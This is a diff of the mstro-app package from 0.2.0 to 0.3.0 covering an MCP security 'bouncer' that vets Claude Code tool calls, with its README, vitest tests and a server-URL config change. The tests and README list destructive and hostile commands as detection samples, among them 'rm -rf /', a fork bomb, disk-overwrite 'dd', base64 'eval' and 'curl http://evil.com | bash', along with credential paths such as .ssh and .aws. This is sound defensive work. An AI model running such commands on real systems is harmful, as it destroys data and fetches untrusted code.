mstro-app 0.2.0 → 0.3.0

package/server/mcp/README.md

@@ -1,105 +1,97 @@
-# Mstro MCP Bouncer Server
+# Mstro MCP Bouncer
 
-This directory contains the Model Context Protocol (MCP) server implementation for Mstro v2's security bouncer.
-
-## Overview
-
-The MCP bouncer server provides permission approval/denial for Claude Code tool use via the MCP protocol. It integrates with Mstro's security analysis system to review potentially risky operations before they execute.
+MCP (Model Context Protocol) server that provides tool approval decisions for Claude Code. Intercepts tool calls and applies a 2-layer security system to allow or deny operations.
 
 ## Architecture
 
-The bouncer uses a 2-layer security system:
+### Layer 1: Pattern Matching (<5ms, ~95% of operations)
 
-### Layer 1: Pattern-Based Fast Path (~95% of operations, <5ms)
 - **Critical threats** → Immediate DENY (99% confidence)
 - **Known-safe operations** → Immediate ALLOW (95% confidence)
-- Uses consolidated security patterns
+- Regex-based pattern matching against consolidated threat/safe lists
+
+### Layer 2: AI Analysis (~200-500ms, ~5% of operations)
 
-### Layer 2: Haiku AI Analysis (~5% of operations, 200-500ms)
-- Lightweight AI for ambiguous cases
-- Context-aware decisions with reasoning
-- Uses Claude Code headless pattern (spawn + stdin)
-- Variable confidence (50-90%)
+- Spawns `claude --print --model haiku` for ambiguous cases
+- Evaluates whether the operation looks like user-requested work or malicious injection
+- Defaults to ALLOW — the assumption is the user is actively working with Claude
 
 ## Files
 
-- **server.ts** - Main MCP server entry point
-- **bouncer-integration.ts** - Core security review logic
-- **security-patterns.ts** - Pattern definitions for fast-path security checks
-- **security-audit.ts** - Audit logging system
+- **server.ts** — MCP server entry point. Exposes single `approval_prompt` tool via stdio transport.
+- **bouncer-integration.ts** — Core 2-layer security review logic. Orchestrates pattern check → AI analysis flow.
+- **security-patterns.ts** — Pattern definitions: CRITICAL_THREATS, SAFE_OPERATIONS, NEEDS_AI_REVIEW, SENSITIVE_PATHS.
+- **security-audit.ts** — Audit logging to `~/.mstro/logs/bouncer-audit.jsonl` (JSON Lines format).
+- **bouncer-cli.ts** — Shell-callable wrapper invoked by `~/.claude/hooks/bouncer.sh`. Reads JSON from stdin, outputs decision to stdout.
 
 ## Usage
 
 ### Starting the Server
 
 ```bash
-# From mstro-v2 root directory
+# From cli/ directory
 npm run dev:mcp
 
-# Or directly with bun
-bun run server/mcp/server.ts
+# Or directly
+npx tsx server/mcp/server.ts
 ```
 
-### Configuration
-
-The server is configured via `mstro-bouncer-mcp.json` in the project root:
-
-```json
-{
-  "mcpServers": {
-    "mstro-bouncer": {
-      "command": "bun",
-      "args": ["run", "server/mcp/server.ts"],
-      "description": "Mstro security bouncer for approving/denying Claude Code tool use",
-      "env": {
-        "BOUNCER_USE_AI": "true"
-      }
-    }
-  }
-}
-```
+### Integration with Claude Code
 
-### Using with Claude Code
+The bouncer integrates via Claude Code's `--permission-prompt-tool` flag:
 
 ```bash
-claude --print --permission-prompt-tool mcp__mstro-bouncer__approval_prompt \
-  --mcp-config mstro-bouncer-mcp.json \
+claude --print \
+  --mcp-config ~/.mstro/mcp-config.json \
+  --permission-prompt-tool mcp__mstro-bouncer__approval_prompt \
   "your prompt here"
 ```
 
+The MCP config is auto-generated by the headless runner at `~/.mstro/mcp-config.json`. It includes the bouncer server plus any user-configured MCP servers from `~/.claude.json`.
+
+### Hook Integration
+
+When installed via `mstro configure-hooks`, a shell script at `~/.claude/hooks/bouncer.sh` calls `bouncer-cli.ts` as a PreToolUse hook. This provides security for both mstro sessions and standalone Claude Code usage.
+
 ## Environment Variables
 
-- **BOUNCER_USE_AI** - Enable/disable AI analysis (default: `true`)
-  - Set to `false` to use only pattern-based checks
-- **CLAUDE_COMMAND** - Claude CLI command (default: `claude`)
+| Variable | Default | Description |
+|----------|---------|-------------|
+| `BOUNCER_USE_AI` | `true` | Enable AI analysis layer. Set `false` for pattern-only checks. |
+| `CLAUDE_COMMAND` | `claude` | Claude CLI command path |
 
 ## Security Patterns
 
 ### Critical Threats (Auto-deny)
-- Root/home directory deletion (`rm -rf / or ~`)
+
+- Root/home directory deletion (`rm -rf /` or `rm -rf ~`)
 - Fork bombs
-- Disk device overwrites
-- Filesystem formatting
+- Disk device overwrites (`dd if=/dev/zero of=/dev/sd*`)
+- Filesystem formatting (`mkfs`)
 - Obfuscated code execution
+- System directory permission removal
 
 ### Safe Operations (Auto-allow)
+
 - Read/Glob/Grep operations
-- Common package manager commands (`npm install`, `yarn build`)
-- Git operations (`status`, `log`, `diff`)
-- Safe file deletions (`node_modules`, `dist`, `build`)
+- Package manager commands (npm, yarn, pnpm, bun, cargo, go)
+- Git operations (status, log, diff, branch, clone, pull, checkout)
+- Docker operations
+- File operations within home/tmp directories
+- Safe artifact deletions (node_modules, dist, build, .cache)
 
 ### Requires AI Review
-- Pipe-to-shell from remote sources
-- Sudo operations
-- Writing executable files
-- System directory modifications
-- Custom script execution
+
+- Pipe-to-shell from remote sources (`curl | bash`)
+- sudo operations
+- `rm -rf` (except safe artifacts)
+- Write/Edit operations (except /tmp)
+- Variable expansion/globs in Bash
 
 ## Audit Logging
 
-All security decisions are logged to `./logs/security/bouncer-audit.jsonl` in JSON Lines format.
+All decisions are logged to `~/.mstro/logs/bouncer-audit.jsonl`:
 
-Example log entry:
 ```json
 {
   "timestamp": "2025-11-15T12:00:00.000Z",
@@ -107,16 +99,16 @@ Example log entry:
   "decision": "allow",
   "confidence": 95,
   "reasoning": "Operation matches known-safe patterns",
-  "threatLevel": "low"
+  "threatLevel": "low",
+  "layer": "pattern-safe",
+  "latencyMs": 2
 }
 ```
 
-## Performance
-
-- 95%+ operations resolve in <5ms (Layer 1)
-- 5% require AI analysis (~200-500ms)
-- No ANTHROPIC_API_KEY required - uses existing Claude installation
-
-## Integration
+## Design Principles
 
-The MCP server runs separately from the web application servers and is only needed when using Claude Code's permission prompts feature. It does NOT auto-start with `npm start` or the web servers.
+- **Protect against injection, not dangerous commands** — operations are user-requested by default
+- **Fast path first** — 95%+ decisions resolve in <5ms via pattern matching
+- **No API key required** — uses existing `claude` CLI installation for AI layer
+- **Fail-safe** — denies on analysis errors (conservative)
+- **Graceful degradation** — falls back to pattern-only if AI unavailable

package/server/mcp/bouncer-integration.test.ts

@@ -0,0 +1,161 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import type { BouncerReviewRequest } from './bouncer-integration.js';
+import { reviewOperation } from './bouncer-integration.js';
+
+// ========== Internal function tests via reviewOperation fast paths ==========
+// The parsing helpers (tryExtractFromWrapper, tryExtractJsonBlock, validateDecision,
+// parseHaikuResponse) are not exported, so we test them indirectly through reviewOperation
+// for pattern-based fast paths, and directly test the parsing logic below.
+
+describe('reviewOperation - pattern fast paths', () => {
+  beforeEach(() => {
+    // Suppress console.error from bouncer logging
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it('allows safe read operations immediately', async () => {
+    const result = await reviewOperation({ operation: 'Read: /home/user/file.ts' });
+    expect(result.decision).toBe('allow');
+    expect(result.confidence).toBe(95);
+    expect(result.threatLevel).toBe('low');
+  });
+
+  it('allows safe bash commands immediately', async () => {
+    const result = await reviewOperation({ operation: 'Bash: npm test' });
+    expect(result.decision).toBe('allow');
+    expect(result.confidence).toBe(95);
+  });
+
+  it('allows Glob operations immediately', async () => {
+    const result = await reviewOperation({ operation: 'Glob: **/*.ts' });
+    expect(result.decision).toBe('allow');
+  });
+
+  it('allows Grep operations immediately', async () => {
+    const result = await reviewOperation({ operation: 'Grep: function' });
+    expect(result.decision).toBe('allow');
+  });
+
+  it('allows safe rm of build artifacts', async () => {
+    const result = await reviewOperation({ operation: 'Bash: rm -rf node_modules' });
+    expect(result.decision).toBe('allow');
+  });
+
+  it('denies critical threats with enforceable flag', async () => {
+    const result = await reviewOperation({ operation: 'rm -rf /' });
+    expect(result.decision).toBe('deny');
+    expect(result.confidence).toBe(99);
+    expect(result.threatLevel).toBe('critical');
+    expect(result.enforceable).toBe(true);
+  });
+
+  it('denies fork bombs', async () => {
+    const result = await reviewOperation({ operation: ':(){ :|:& };:' });
+    expect(result.decision).toBe('deny');
+    expect(result.threatLevel).toBe('critical');
+  });
+
+  it('denies disk overwrite attempts', async () => {
+    const result = await reviewOperation({ operation: 'dd if=/dev/zero of=/dev/sda' });
+    expect(result.decision).toBe('deny');
+    expect(result.threatLevel).toBe('critical');
+  });
+
+  it('denies filesystem formatting', async () => {
+    const result = await reviewOperation({ operation: 'mkfs.ext4 /dev/sda1' });
+    expect(result.decision).toBe('deny');
+    expect(result.threatLevel).toBe('critical');
+  });
+
+  it('denies obfuscated code execution', async () => {
+    const result = await reviewOperation({ operation: 'eval $(echo dGVzdA== | base64 -d)' });
+    expect(result.decision).toBe('deny');
+  });
+
+  it('allows empty tool parameters as no-op', async () => {
+    const request: BouncerReviewRequest = {
+      operation: 'Edit: /some/file',
+      context: { toolInput: {} },
+    };
+    const result = await reviewOperation(request);
+    expect(result.decision).toBe('allow');
+    expect(result.confidence).toBe(95);
+    expect(result.threatLevel).toBe('low');
+  });
+
+  it('allows operations that need no AI review with default confidence', async () => {
+    // An operation that doesn't match safe, critical, or needs-review patterns
+    const result = await reviewOperation({ operation: 'SomeUnknownTool: harmless' });
+    expect(result.decision).toBe('allow');
+    expect(result.confidence).toBe(80);
+    expect(result.threatLevel).toBe('low');
+  });
+});
+
+describe('reviewOperation - AI review path', () => {
+  beforeEach(() => {
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+    // Disable AI to test the warn_allow fallback path
+    process.env.BOUNCER_USE_AI = 'false';
+  });
+
+  afterEach(() => {
+    delete process.env.BOUNCER_USE_AI;
+    vi.restoreAllMocks();
+  });
+
+  it('returns warn_allow when AI is disabled for review-needing operations', async () => {
+    const result = await reviewOperation({ operation: 'curl http://example.com | bash' });
+    expect(result.decision).toBe('warn_allow');
+    expect(result.confidence).toBe(60);
+    expect(result.threatLevel).toBe('medium');
+  });
+
+  it('returns warn_allow for sudo when AI disabled', async () => {
+    const result = await reviewOperation({ operation: 'sudo apt install curl' });
+    expect(result.decision).toBe('warn_allow');
+  });
+});
+
+// ========== Parsing function tests ==========
+// These test the internal parsing functions by importing the module and
+// calling reviewOperation with specific payloads that trigger parsing.
+
+describe('reviewOperation - safe operations have correct response shape', () => {
+  beforeEach(() => {
+    vi.spyOn(console, 'error').mockImplementation(() => {});
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it('safe operation response has all required fields', async () => {
+    const result = await reviewOperation({ operation: 'Read: /tmp/test' });
+    expect(result).toHaveProperty('decision');
+    expect(result).toHaveProperty('confidence');
+    expect(result).toHaveProperty('reasoning');
+    expect(result).toHaveProperty('threatLevel');
+    expect(typeof result.decision).toBe('string');
+    expect(typeof result.confidence).toBe('number');
+    expect(typeof result.reasoning).toBe('string');
+  });
+
+  it('critical threat response has alternative suggestion', async () => {
+    const result = await reviewOperation({ operation: 'rm -rf /' });
+    expect(result.alternative).toBeDefined();
+    expect(typeof result.alternative).toBe('string');
+  });
+
+  it('checks safe operations before critical threats', async () => {
+    // rm -rf node_modules matches both SAFE_OPERATIONS and technically could
+    // match patterns. Verify safe wins.
+    const result = await reviewOperation({ operation: 'Bash: rm -rf node_modules' });
+    expect(result.decision).toBe('allow');
+    expect(result.confidence).toBe(95);
+  });
+});

package/server/mcp/security-patterns.test.ts

@@ -0,0 +1,258 @@
+import { describe, expect, it } from 'vitest';
+import {
+  CRITICAL_THREATS,
+  classifyRisk,
+  isSensitivePath,
+  matchesPattern,
+  requiresAIReview,
+  SAFE_OPERATIONS,
+} from './security-patterns.js';
+
+// ========== matchesPattern ==========
+
+describe('matchesPattern', () => {
+  it('returns matching pattern for safe read operations', () => {
+    expect(matchesPattern('Read: /home/user/file.ts', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Glob: **/*.ts', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Grep: function', SAFE_OPERATIONS)).not.toBeNull();
+  });
+
+  it('returns matching pattern for safe bash commands', () => {
+    expect(matchesPattern('Bash: npm install', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Bash: git status', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Bash: docker build .', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Bash: cargo test', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Bash: mkdir -p src', SAFE_OPERATIONS)).not.toBeNull();
+  });
+
+  it('returns matching pattern for safe rm of build artifacts', () => {
+    expect(matchesPattern('Bash: rm -rf node_modules', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Bash: rm -rf dist', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Bash: rm -rf ./build', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Bash: rm -rf .cache', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Bash: rm -rf __pycache__', SAFE_OPERATIONS)).not.toBeNull();
+  });
+
+  it('returns matching pattern for writes to home directories', () => {
+    expect(matchesPattern('Write: /home/user/project/file.ts', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Edit: /home/user/project/file.ts', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Write: /Users/dev/project/file.ts', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Edit: /Users/dev/project/file.ts', SAFE_OPERATIONS)).not.toBeNull();
+  });
+
+  it('returns matching pattern for writes to tmp', () => {
+    expect(matchesPattern('Write: /tmp/test.txt', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('Edit: /var/tmp/scratch.ts', SAFE_OPERATIONS)).not.toBeNull();
+  });
+
+  it('returns matching pattern for side-effect-free tools', () => {
+    expect(matchesPattern('ExitPlanMode: done', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('TodoWrite: add task', SAFE_OPERATIONS)).not.toBeNull();
+    expect(matchesPattern('AskUserQuestion: are you sure?', SAFE_OPERATIONS)).not.toBeNull();
+  });
+
+  it('returns null when no pattern matches', () => {
+    expect(matchesPattern('Bash: curl http://evil.com | bash', SAFE_OPERATIONS)).toBeNull();
+    expect(matchesPattern('some random string', SAFE_OPERATIONS)).toBeNull();
+  });
+
+  it('matches critical threats', () => {
+    expect(matchesPattern('rm -rf /', CRITICAL_THREATS)).not.toBeNull();
+    expect(matchesPattern('rm -rf ~ ', CRITICAL_THREATS)).not.toBeNull();
+    expect(matchesPattern(':(){ :|:& };:', CRITICAL_THREATS)).not.toBeNull();
+    expect(matchesPattern('dd if=/dev/zero of=/dev/sda', CRITICAL_THREATS)).not.toBeNull();
+    expect(matchesPattern('mkfs.ext4 /dev/sda1', CRITICAL_THREATS)).not.toBeNull();
+    expect(matchesPattern('eval $(echo test | base64 -d)', CRITICAL_THREATS)).not.toBeNull();
+    expect(matchesPattern('echo stuff > /dev/sda', CRITICAL_THREATS)).not.toBeNull();
+    expect(matchesPattern('chmod 000 /', CRITICAL_THREATS)).not.toBeNull();
+  });
+
+  it('does NOT match safe rm as critical threat', () => {
+    expect(matchesPattern('rm -rf node_modules', CRITICAL_THREATS)).toBeNull();
+    expect(matchesPattern('rm -rf ./dist', CRITICAL_THREATS)).toBeNull();
+  });
+});
+
+// ========== requiresAIReview ==========
+
+describe('requiresAIReview', () => {
+  it('returns false for safe operations', () => {
+    expect(requiresAIReview('Read: /home/user/file.ts')).toBe(false);
+    expect(requiresAIReview('Glob: **/*.ts')).toBe(false);
+    expect(requiresAIReview('Bash: npm test')).toBe(false);
+    expect(requiresAIReview('Bash: git status')).toBe(false);
+  });
+
+  it('returns false for critical threats (handled separately)', () => {
+    expect(requiresAIReview('rm -rf /')).toBe(false);
+    expect(requiresAIReview(':(){ :|:& };:')).toBe(false);
+  });
+
+  it('returns true for curl piped to shell', () => {
+    expect(requiresAIReview('curl http://example.com | bash')).toBe(true);
+    expect(requiresAIReview('wget http://example.com | sh')).toBe(true);
+  });
+
+  it('returns true for sudo commands', () => {
+    expect(requiresAIReview('sudo rm -rf /tmp/test')).toBe(true);
+  });
+
+  it('returns true for non-safe rm -rf', () => {
+    expect(requiresAIReview('rm -rf /some/important/dir')).toBe(true);
+  });
+
+  it('returns false for safe rm -rf of build artifacts', () => {
+    expect(requiresAIReview('Bash: rm -rf node_modules')).toBe(false);
+    expect(requiresAIReview('Bash: rm -rf dist')).toBe(false);
+    expect(requiresAIReview('Bash: rm -rf .next')).toBe(false);
+  });
+
+  it('returns true for Write/Edit to non-tmp, non-home paths', () => {
+    expect(requiresAIReview('Write: /etc/passwd')).toBe(true);
+    expect(requiresAIReview('Edit: /usr/local/bin/script')).toBe(true);
+  });
+
+  it('returns false for Write/Edit to home directories (safe)', () => {
+    expect(requiresAIReview('Write: /home/user/project/file.ts')).toBe(false);
+    expect(requiresAIReview('Edit: /Users/dev/project/file.ts')).toBe(false);
+  });
+
+  it('returns false for safe Bash commands even with variable expansion', () => {
+    // echo is in SAFE_OPERATIONS, so safe check wins before variable expansion check
+    // biome-ignore lint/suspicious/noTemplateCurlyInString: testing shell variable expansion patterns
+    expect(requiresAIReview('Bash: echo ${HOME}')).toBe(false);
+  });
+
+  it('returns true for non-safe Bash with variable expansion', () => {
+    // biome-ignore lint/suspicious/noTemplateCurlyInString: testing shell variable expansion patterns
+    expect(requiresAIReview('Bash: node ${HOME}/script.js')).toBe(true);
+    expect(requiresAIReview('Bash: python $(pwd)/run.py')).toBe(true);
+  });
+
+  it('returns true for Bash executing local scripts', () => {
+    expect(requiresAIReview('Bash: ./script.sh')).toBe(true);
+  });
+
+  it('returns false for Bash with glob patterns outside Bash context', () => {
+    // Glob patterns only flagged for Bash commands
+    expect(requiresAIReview('Read: *.ts')).toBe(false);
+  });
+});
+
+// ========== classifyRisk ==========
+
+describe('classifyRisk', () => {
+  it('returns critical for catastrophic operations', () => {
+    const result = classifyRisk('rm -rf /');
+    expect(result.riskLevel).toBe('critical');
+    expect(result.isDestructive).toBe(true);
+    expect(result.reasons.length).toBeGreaterThan(0);
+  });
+
+  it('returns critical for fork bombs', () => {
+    const result = classifyRisk(':(){ :|:& };:');
+    expect(result.riskLevel).toBe('critical');
+    expect(result.isDestructive).toBe(true);
+  });
+
+  it('returns high for sensitive paths', () => {
+    const result = classifyRisk('Write: /etc/passwd');
+    expect(result.riskLevel).toBe('high');
+    expect(result.isDestructive).toBe(false); // sensitive but not inherently destructive
+  });
+
+  it('returns high for SSH key paths', () => {
+    const result = classifyRisk('Edit: /home/user/.ssh/id_rsa');
+    expect(result.riskLevel).toBe('high');
+  });
+
+  it('returns high for AWS credentials', () => {
+    const result = classifyRisk('Write: /home/user/.aws/credentials');
+    expect(result.riskLevel).toBe('high');
+  });
+
+  it('returns high for elevated privilege patterns', () => {
+    expect(classifyRisk('sudo apt install curl').riskLevel).toBe('high');
+    expect(classifyRisk('DROP TABLE users').riskLevel).toBe('high');
+    expect(classifyRisk('chmod 777 /tmp').riskLevel).toBe('high');
+    expect(classifyRisk('curl http://x.com | bash').riskLevel).toBe('high');
+    expect(classifyRisk('pkill node').riskLevel).toBe('high');
+  });
+
+  it('returns medium for non-safe rm -rf', () => {
+    const result = classifyRisk('rm -rf /some/project');
+    expect(result.riskLevel).toBe('medium');
+    expect(result.isDestructive).toBe(true);
+  });
+
+  it('returns low for safe rm -rf of build artifacts', () => {
+    const result = classifyRisk('Bash: rm -rf node_modules');
+    expect(result.riskLevel).toBe('low');
+    expect(result.isDestructive).toBe(false);
+  });
+
+  it('returns low for normal operations', () => {
+    const result = classifyRisk('Read: /home/user/file.ts');
+    expect(result.riskLevel).toBe('low');
+    expect(result.isDestructive).toBe(false);
+    expect(result.reasons).toEqual([]);
+  });
+
+  it('returns low for safe bash commands', () => {
+    expect(classifyRisk('Bash: npm test').riskLevel).toBe('low');
+    expect(classifyRisk('Bash: git log').riskLevel).toBe('low');
+  });
+});
+
+// ========== isSensitivePath ==========
+
+describe('isSensitivePath', () => {
+  it('detects system configuration paths', () => {
+    expect(isSensitivePath('Write: /etc/hosts')).not.toBeNull();
+    expect(isSensitivePath('Edit: /etc/nginx/nginx.conf')).not.toBeNull();
+  });
+
+  it('detects system binary paths', () => {
+    expect(isSensitivePath('Write: /bin/bash')).not.toBeNull();
+    expect(isSensitivePath('Edit: /usr/bin/node')).not.toBeNull();
+  });
+
+  it('detects boot directory', () => {
+    expect(isSensitivePath('Write: /boot/grub/grub.cfg')).not.toBeNull();
+  });
+
+  it('detects credential files', () => {
+    expect(isSensitivePath('Write: /home/user/.ssh/id_rsa')).not.toBeNull();
+    expect(isSensitivePath('Edit: /home/user/.gnupg/pubring.kbx')).not.toBeNull();
+    expect(isSensitivePath('Write: /home/user/.aws/credentials')).not.toBeNull();
+    expect(isSensitivePath('Edit: /home/user/.aws/config')).not.toBeNull();
+  });
+
+  it('detects env files', () => {
+    expect(isSensitivePath('Write: /home/user/project/.env')).not.toBeNull();
+    expect(isSensitivePath('Edit: /home/user/project/.env.local')).not.toBeNull();
+    expect(isSensitivePath('Write: /home/user/project/.env.production')).not.toBeNull();
+  });
+
+  it('detects shell profiles', () => {
+    expect(isSensitivePath('Write: /home/user/.bashrc')).not.toBeNull();
+    expect(isSensitivePath('Edit: /home/user/.zshrc')).not.toBeNull();
+    expect(isSensitivePath('Write: /home/user/.profile')).not.toBeNull();
+  });
+
+  it('detects macOS system paths', () => {
+    expect(isSensitivePath('Write: /System/Library/something')).not.toBeNull();
+    expect(isSensitivePath('Edit: /Library/LaunchDaemons/com.example.plist')).not.toBeNull();
+  });
+
+  it('returns null for safe paths', () => {
+    expect(isSensitivePath('Write: /home/user/project/src/index.ts')).toBeNull();
+    expect(isSensitivePath('Read: /etc/passwd')).toBeNull(); // Read, not Write
+    expect(isSensitivePath('Bash: npm test')).toBeNull();
+  });
+
+  it('only triggers on Write/Edit, not Read', () => {
+    expect(isSensitivePath('Read: /etc/passwd')).toBeNull();
+    expect(isSensitivePath('Write: /etc/passwd')).not.toBeNull();
+  });
+});

package/server/services/analytics.ts

@@ -23,7 +23,19 @@ import { getClientId } from './client-id.js'
 
 const MSTRO_DIR = join(homedir(), '.mstro')
 const CONFIG_FILE = join(MSTRO_DIR, 'config.json')
-const PLATFORM_URL = process.env.PLATFORM_URL || 'https://api.mstro.app'
+
+// Read SERVER_URL from ~/.mstro/.env if it exists (for local dev)
+function getServerUrl(): string {
+  try {
+    const envPath = join(MSTRO_DIR, '.env')
+    const content = readFileSync(envPath, 'utf-8')
+    const match = content.match(/^SERVER_URL=(.+)$/m)
+    if (match) return match[1].trim()
+  } catch {}
+  return 'https://api.mstro.app'
+}
+
+const PLATFORM_URL = process.env.PLATFORM_URL || getServerUrl()
 
 let client: PostHog | null = null
 let telemetryEnabled: boolean | null = null

package/server/services/platform.ts

@@ -102,7 +102,18 @@ if (typeof WebSocket !== 'undefined') {
   WebSocketImpl = WS as unknown as typeof WebSocket
 }
 
-const DEFAULT_PLATFORM_URL = process.env.PLATFORM_URL || 'https://api.mstro.app'
+// Read SERVER_URL from ~/.mstro/.env if it exists (for local dev)
+function getServerUrl(): string {
+  try {
+    const envPath = join(MSTRO_DIR, '.env')
+    const content = readFileSync(envPath, 'utf-8')
+    const match = content.match(/^SERVER_URL=(.+)$/m)
+    if (match) return match[1].trim()
+  } catch {}
+  return 'https://api.mstro.app'
+}
+
+const DEFAULT_PLATFORM_URL = process.env.PLATFORM_URL || getServerUrl()
 
 interface ConnectionCallbacks {
   onConnected?: (connectionId: string) => void